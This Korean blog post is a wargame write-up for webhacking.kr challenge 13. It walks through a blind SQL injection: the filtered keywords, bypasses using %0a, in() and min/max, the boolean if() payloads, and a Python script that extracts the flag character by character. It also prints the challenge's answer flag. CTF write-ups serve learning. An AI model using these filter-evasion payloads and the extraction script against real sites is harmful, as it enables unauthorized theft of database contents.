ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Webhacking.kr] 13번 풀이
    Wargame/webhacking.kr (old) 2019. 4. 16. 04:33

    php 소스 코드가 주어져있지 않은 SQL Injection 문제이다.

    get 방식으로 no의 값과 password의 값 전송이 가능한 것을 확인하였다.

    우선, password는 모르겠으니 쉬운 no의 값으로 숫자들을 마구잡이로 입력해 보자..,,!

     

    1. no=0

     

    2. no=1

     

    3. no=1 이외의 모든 수

     

    page에 출력되는 결과들을 보면, no=1인 Data만 존재하는 것으로 추측할 수 있다.

    hint에 주어진 쿼리 문을 보니 password는 주어진 테이블의 flag 값인 것 같다.

     

    우선, Injection Vector를 no라고 가정하고, no에 or을 사용한 후 페이지의 반응을 보았다.

    아래와 같이 아무 이상없이 출력된다. (%20이 필터링되어 있는 관계로 ()를 사용하였다.)

     

    flag를 알아내기 위해 먼저 필터링된 문자열들을 알아보니

    점수가 높은 문제라서인지 엄청 많은 문자열이 필터링되어 있다...;;

     

    필터링된 문자열

    %20, +, >, <, =, --, ||, &&(%26%26), and, like, order by, group by,

    limit, union, right, left, mid, char, ascii, hex

     

    flag의 길이를 알아내기 위해 필터링되지 않은 if문을 사용하여 아래와 같은 쿼리문을 만들었다.

     

    ?no=if((select length(flag) from prob13password)=숫자, 1, 2)

     

    수동으로 숫자를 바꾸어도 되지만, 귀찮기 때문에 python을 이용하였다.

    python을 이용할 때 주의할 점은 %20 대신 %0a로,

    =, like 대신 in 함수를 사용하여 필터링된 문자열을 우회해야 한다.

     

    그러나, 길이가.... 1000이 되어도 참이 되지 않았다..;;

    MySQL을 켜고, 문제와 비슷한 Table을 생성하여 테스트해보자..,,!

     

    아까 flag의 길이를 알아내기 위해 만든 쿼리문을 입력해보았다.

     

    ERROR!!!!

    역시 컴퓨터는 거짓말을 하지 않는다.

    Error가 발생하는 이유는 서브 쿼리에서 반환하는 열이 1개 이상이기 때문이다.

    아마 13번 문제에서도 이 에러때문에 길이를 알아낼 수 없었던 것 같다.

    하나의 열만을 참조하기 위해서는 limit를 사용할 수 있는데,,

    필터링되어 있는 문자열이다.ㅠㅠㅠㅠㅠ

    쉽지 않은 문제다... 아무튼 문제를 풀기위해 limit 우회 방법을 찾아보았다.

     

    lilmit 우회

    group by + having

    group_concat

    min

    max

     

    MySQL을 이용하여

    어떤 식으로 limit을 우회할 수 있는지 알아보았다.

     

    1. group by + having

    having에 조건을 맞춰 1개의 열 출력 가능

     

    그러나, 13번 문제에서는 필터링 되어 있는것 뿐만 아니라 길이도 모르고,

    no의 값도 1뿐이기 때문에 사용할 수 없다.

     

    2. group_concat (기본 구분자 : )

    그룹에서 NULL이 아닌 값들을 연결하여 결과 문자열을 VARCHAR 타입으로 변환하는 함수

    아래와 같이 ,가 나오는 곳을 확인하여 길이를 알아낸 다음 길이에 맞게 1개의 열 출력 가능

     

    3. max

    숫자의 경우 가장 큰 수 반환

    문자의 경우 abc순, ㄱㄴㄷ순으로 가장 뒤에 있는 문자 반환

     

    4. min

    숫자의 경우 가장 작은 수 반환

    문자의 경우 abc순, ㄱㄴㄷ순으로 가장 앞에 있는 문자 반환

     

    limit을 우회할 수 있는 방법을 이용하여 열(row)의 개수를 알아내고,

    그에 맞게 어떤 함수를 사용할지 생각해보았다.

    열(row) 개수를 알아내는 방법으로 count 함수를 사용하였다.

     

    ?no=if((select%0acount(flag)%0afrom%0aprob13password)in(숫자),1,2)

     

    flag의 개수는 2개다.

    min과 max 함수를 이용하여 두개의 값 모두 구할 수 있을 것 같다.

    알아보니 group_concat도 필터링되어 있다.

     

    ?no=if(length((select%0amin(flag)%0afrom%0aprob13password))in(숫자),1,2)

    min(flag)의 길이를 알아낼 수 있다. (min을 max로 변경 시 max의 길이도 알아낼 수 있다.)

     

    ?no=if((select%0aord(substr(min(flag),1,1))%0afrom%0aprob13password)in(97),1,2)

    min(flag)의 값을 알아낼 수 있다. (min을 max로 변경 시 max의 값도 알아낼 수 있다.)

     

    python으로 min, max의 flag 값을 알아보았다.

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
     
    headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=9adada6f6f6a95738aad375a2def4aca;'}
    url = "http://webhacking.kr/challenge/web/web-10/"
    
    #Find password length
    def find_len(min_max):
    	len = 0
    	while True:
    		data = "?no=if(length((select%0a"+min_max+"(flag)%0afrom%0aprob13password))in("+str(len)+"),1,2)"
    		
    		r = requests.get(url+data,headers=headers)
    		if r.text.find('<td>1</td>') != -1:
    			break
    		len+=1
    		
    	print "------------------------------------------------"	
    	print "LENGTH(", min_max, ") : ", len
    	print "------------------------------------------------"
    	return len
    	
    #Find password
    def find_pw(min_max, len):
    	pw = ''
    	for i in range(1,len+1):
    		for j in range(33,123):
    			if 65 <= j <= 90: continue
    			data = "?no=if((select%0aord(substr("+min_max+"(flag),"+str(i)+",1))%0afrom%0aprob13password)in("+str(j)+"),1,2)"
    			
    			r = requests.get(url+data,headers=headers)
    			if r.text.find('<td>1</td>') != -1 :
    				pw += chr(j)
    				print "found : ",pw
    				break
    	print "------------------------------------------------"	
    	print "PASSWORD(", min_max, ") : ", pw
    	print "------------------------------------------------"
    	
    min_len = find_len("MIN")
    max_len = find_len("MAX")
    find_pw("MIN", min_len)
    find_pw("MAX", max_len)

    python 소스 실행 결과를 통해 각각의 flag를 알아내었다.

     

    [ 실행 결과 ]

     

    password로 보이는 것은 min의 값인 'challenge13luckclear'이다.

    알아낸 min 값을 입력해주었더니 문제가 풀렸다.

     

     

    'Wargame > webhacking.kr (old)' 카테고리의 다른 글

    [Webhacking.kr] 15번 풀이  (0) 2019.04.19
    [Webhacking.kr] 14번 풀이  (0) 2019.04.18
    [Webhacking.kr] 12번 풀이  (0) 2019.04.16
    [Webhacking.kr] 11번 풀이  (0) 2019.04.16
    [Webhacking.kr] 10번 풀이  (0) 2019.03.03

    댓글

@Jo Grini's Blog